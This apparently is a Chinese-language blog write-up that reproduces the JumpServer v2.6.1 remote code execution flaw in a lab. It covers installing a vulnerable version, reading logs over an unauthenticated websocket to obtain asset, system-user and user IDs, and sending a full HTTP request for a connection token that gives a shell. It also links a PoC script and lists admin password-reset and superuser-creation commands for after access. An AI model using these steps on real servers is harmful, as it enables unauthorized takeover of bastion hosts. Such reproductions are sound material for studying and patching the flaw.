JumpServer v2.6.1 RCE(远程代码执行) 复现总结

简介

JumpServer 是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机。

概述

2021年1月15日,JumpServer 发布安全更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。

影响版本

JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9

环境搭建

安装脚本V2.6.1

https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip

github 安装脚本全部是安装最新版的。
安装的时候前几个记得是 no

安装1.jpg

安装完后进入提示的目录运行脚本./jmsctl.sh start
访问 8080 端口进入 jumpserver
admin:admin 进入控制面板

创建一个管理用户,因为后面登录 ssh 是用管理用户的密码登陆的

jumpserver创建管理用户.jpg

创建一个系统用户

创建系统用户.jpg

创建一个资产,否则利用不会成功的

创建资产.jpg

对资产进行授权

资产授权.jpg

进入 web 终端,连接成功即可

漏洞复现

我们手工复现可以用以下浏览器插件测试
https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn/related

我们可以连接ws://youtip:8080/ws/ops/tasks/log进行测试

发送{"task":"/opt/jumpserver/logs/jumpserver"}查看日志,可以找到 task id,发送{"task":"33xxxxx"}查看详细信息,但是好像没什么用。

taskid.jpg

我们可以读取的日志有以下内容

logs.jpg

这里我们要查看/opt/jumpserver/logs/gunicorn找到 asset_id、system_id、user_id 等三个值

websocket_asset_id.jpg

如果读到了这三个字段,可以利用/api/v1/users/connection-token/拿到一个 20 秒的 token,使用这个 token 就可以连接 runTTY 执行命令了

burp.jpg

我们发送以下数据包获得 token

POST DATE

POST /api/v1/authentication/connection-token/?user-only=None HTTP/1.1
Host: 192.168.111.162:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.111.162:8080/ui/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=utf-8
Cookie: csrftoken=D2llrglPXZv8UdXByih2JuEwTtlq22rZAHEmXBdiDxbKMEqfjuN8ZkZJZaen7ikd; sessionid=lpum8cx9ggcpu72omon0a65vbqb4cvc5
Connection: close
Content-Length: 150

{"user": "aff77afe-820c-45c4-b1de-bcbcd320fbeb", "asset":"ae2fd918-ec9b-4900-b864-36d60b46f51a", "system_user":"715e93c0-8a50-4318-8310-4ffd5ae88abc"}

试一下连接 ws,连接成功

success.jpg

脚本自动利用

我们可以用脚本会更方便,先读取日志获取三个值

获取asset_id.jpg

更改一下脚本里的三个值,运行脚本即可获取 shell

getshell.jpg

后续

拿到权限后可以用以下命令修改 jumpserver 密码

# 管理密码忘记了或者重置管理员密码
$ source /opt/py3/bin/activate
$ cd /opt/jumpserver/apps
$ python manage.py changepassword  <user_name>

# 新建超级用户的命令如下命令
$ python manage.py createsuperuser --username=user --email=user@domain.com

# 登陆提示密码过期可以直接点击忘记密码, 通过邮箱重置; 如果未设置邮箱, 通过以下代码重置
$ source /opt/py3/bin/activate
$ cd /opt/jumpserver/apps
$ python manage.py shell
> from users.models import User
> u = User.objects.get(username='admin')  # admin 为你要修改的用户
> u.reset_password('password')  # password 为你要修改的密码
> u.save()
或者
> u = User.objects.create(username='admin') # 创建新的用户

快速安装脚本/POC&EXP

https://github.com/gardenWhy/JumpServer_RCE

参考

https://www.o2oxy.cn/2921.html
https://blog.riskivy.com/jumpserver-从信息泄露到远程代码执行漏洞分析/

posted @ 2021-01-28 15:55  楼下的小可怜-w0x68y  阅读(3966)  评论(0编辑  收藏  举报